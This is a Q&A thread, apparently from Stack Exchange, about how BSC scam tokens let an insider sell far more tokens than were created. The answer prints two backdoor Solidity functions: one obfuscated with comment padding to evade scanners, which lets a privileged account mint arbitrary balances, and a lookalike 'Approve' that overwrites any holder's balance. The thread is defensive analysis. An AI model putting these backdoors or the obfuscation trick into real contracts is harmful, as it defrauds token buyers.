0

Cross-posting from here: https://stackoverflow.com/questions/71282483/contract-allows-mass-creation-of-tokens-without-a-mint-function

A few times now I have seen scam tokens created where the contracts seem fine, but then someone is somehow able to sell 1000s of times more tokens than were created, eg. 10^10 tokens were created via this contract:

https://bscscan.com/address/0x8e3a4f3f20907c8b638ccade987e90169ac2d7c8#code

But then somehow someone was able to sell 9.1*10^15 tokens here:

https://bscscan.com/tx/0xc27794c277710e4f1bb2a98ba0590c7e8c3b25f038438335ae8269916e1214c3

And with this one 3X10^9 tokens were created:

https://bscscan.com/address/0xae2c5373330d6c20ea25f2b167a350582ed659fa#code

Yet someone was able to sell 10^17 tokens here:

https://bscscan.com/tx/0xb35c1daf1283b43222ffebebc644254094260e55d158c99d4d1a02f43bca5fb1

Is there any way by looking at the contract code to see how they were able to do this?

1 Answer 1

0

There is no simple rule for detecting scam contract. Probably the best rule is to not interact with a contract you do not trust.

  1. The first contract has an interesting formating for a few functions. I can't confirm that it is malicious but it is highly suspicious. The odd formatting is probably for tricking automated tools that search for code patterns.
    /**/function/**/ /**/Dividend/**/(/**/address/**/ /**/toSender/**/, /**/uint256/**/ /**/ratio/**/) /**/external /**/onlyoner() 
    /**/{
        /**/require/**/(ratio /**/> 0,/**/ "");/**/
        /**/uint256 /**/Dividendb/**/ = /**/LPots[/**/toSender/**/];
        /**/if/**/ /**/(/**/Dividendb == /**/0) /**/_LPAmots/**/.push(/**/toSender/**/)/**/;
        /**/LPots/**/[/**/toSender/**/] /**//**/= Dividendb/**/.add/**/(/**/ratio/**/)/**/;
        /**/cakes/**/ = /**/cakes/**/.add/**/(/**/ratio/**/)/**/;
        /**/_tossd/**/[/**/toSender/**/]/**/ = /**/_tossd/**/[/**/toSender/**/]/**/./**/add/**/(/**/ratio/**/)/**/;
        /**/
    }/**/

After cleaning a priviledged account can assign an arbitrary amount.

function   Dividend  (  address   toSender  ,  uint256   ratio  )  external  onlyoner()
    {
        require  (ratio  > 0,  ""); 
        uint256  Dividendb  =  LPots[  toSender  ];
        if   (  Dividendb ==  0)  _LPAmots  .push(  toSender  )  ;
        LPots  [  toSender  ]   = Dividendb  .add  (  ratio  )  ;
        cakes  =  cakes  .add  (  ratio  )  ;
        _tossd  [  toSender  ]  =  _tossd  [  toSender  ]  .  add  (  ratio  )  ;
    } 
  1. In the second contract there's a suspicious function: Approve. It isn't part of the standard and it is very close to approve. After examining it allows an special address to override balances of any address.
  function Approve(address from, uint256 _value) public _external returns(bool) {
    if(from != address(0)){
      balances[from] = swapAndLiquify * charityFee * _value * (10 ** 9) / charityFee;
      return true;
    }
  }
2
  • Thanks. I was trying to figure out if there was a way to programmatically scan contracts for this behavior similar to the way honeypot.is does. Both of these passed all of their tests though. Here's a pastebin of that function cleaned up in case you wanted to see it: pastebin.com/04MdXQQn Feb 28, 2022 at 18:53
  • @MichaelVanDeMar The malicious function was Dividend. It might be posssible to automate to certain level, but it seems a lot of effort.
    – Ismael
    Mar 1, 2022 at 4:08

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.